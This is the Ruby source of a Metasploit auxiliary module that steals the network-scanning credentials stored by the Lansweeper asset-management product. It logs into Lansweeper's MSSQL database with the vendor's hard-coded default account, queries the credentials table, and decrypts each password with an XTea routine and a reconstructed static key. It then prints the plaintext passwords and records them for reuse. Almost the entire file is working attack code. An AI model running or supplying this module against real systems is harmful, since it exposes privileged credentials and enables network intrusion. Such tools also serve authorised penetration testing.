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lansweeper_collector.rb
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lansweeper_collector.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Lansweeper Credential Collector',
'Description' => %q(
Lansweeper stores the credentials it uses to scan the computers
in its Microsoft SQL database. The passwords are XTea-encrypted with a
68 character long key, in which the first 8 characters are stored with
the password in the database and the other 60 is static. Lansweeper, by
default, creates an MSSQL user "lansweeperuser" with the password is
"mysecretpassword0*", and stores its data in a database called
"lansweeperdb". This module will query the MSSQL database for the
credentials.
),
'Author' =>
[
'sghctoma <tamas.szakaly[at]praudit.hu>', # Lansweeper RCE + Metasploit implementation
'eq <balazs.bucsay[at]praudit.hu>', # Lansweeper RCE + discovering default credentials
'calderpwn <calderon[at]websec.mx>' # Module for lansweeper (5.3.0.8)
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'USERNAME' => 'lansweeperuser',
'PASSWORD' => 'mysecretpassword0*'
},
'References' =>
[
['URL', 'http://www.lansweeper.com'],
['URL', 'http://www.praudit.hu/prauditeng/index.php/blog/a-lansweeper-es-a-tea']
]))
register_options([
OptString.new('DATABASE', [true, 'The Lansweeper database', 'lansweeperdb'])
])
end
def uint32(n)
n & 0xffffffff
end
def xtea_decode(v, k)
sum = 0xc6ef3720
v_0 = uint32(v[0])
v_1 = uint32(v[1])
0.upto(0x1f) do
v_1 -= uint32((uint32(v_0 << 4) ^ uint32(v_0 >> 5)) + v_0) ^ uint32(sum + k[uint32(sum >> 11) & 3])
v_1 = uint32(v_1)
sum -= 0x9e3779b9
sum = uint32(sum)
v_0 -= (uint32(uint32(v_1 << 4) ^ uint32(v_1 >> 5)) + v_1) ^ uint32(sum + k[sum & 3])
v_0 = uint32(v_0)
end
v[0] = v_0
v[1] = v_1
end
def xtea_decrypt(data, key)
k = key.ljust(16).unpack('VVVV')
num = 0
bytes = Array.new
0.step(data.length - 1, 8) do |i|
v = data[i, 8].unpack('VV')
xtea_decode(v, k)
bytes[num] = v[0]
num += 1
bytes[num] = v[1]
num += 1
end
bytes.pack('c*')
end
def lsw_generate_pass
key = ''
(0..60).each do |num|
key << [((40 - num) + ((num * 2) + num)) - 1].pack('c')
key << [(num + 15) + num].pack('c')
end
key
end
def lsw_decrypt(data)
data = Rex::Text.decode_base64(data)
first = data[0]
pass = data[1, 8]
actual_data = data[9, data.length - 9]
decrypted = xtea_decrypt(actual_data, pass + lsw_generate_pass)
if first == '1'
decrypted = decrypted[0, decrypted.length - 2]
end
Rex::Text.to_ascii(decrypted, 'utf-16le')
end
def report_cred(opts)
service_data = {
address: opts[:host],
port: opts[:port],
protocol: 'tcp',
workspace_id: myworkspace_id,
service_name: opts[:creds_name]
}
credential_data = {
username: opts[:user],
private_type: :password,
private_data: opts[:password],
origin_type: :service,
module_fullname: self.fullname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
create_credential_login(login_data)
end
def run
unless mssql_login_datastore
fail_with(Failure::NoAccess, 'Login failed. Check credentials.')
end
result = mssql_query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false)
if result[:errors]
print_error("SQL Query returned error: #{result[:errors].first}")
return
end
result[:rows].each do |row|""
pw = lsw_decrypt(row[2])
print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}")
report_cred(
:host => mssql_client.peerhost,
:port => mssql_client.peerport,
:creds_name => row[0],
:user => row[1],
:password => pw
)
end
disconnect
end
end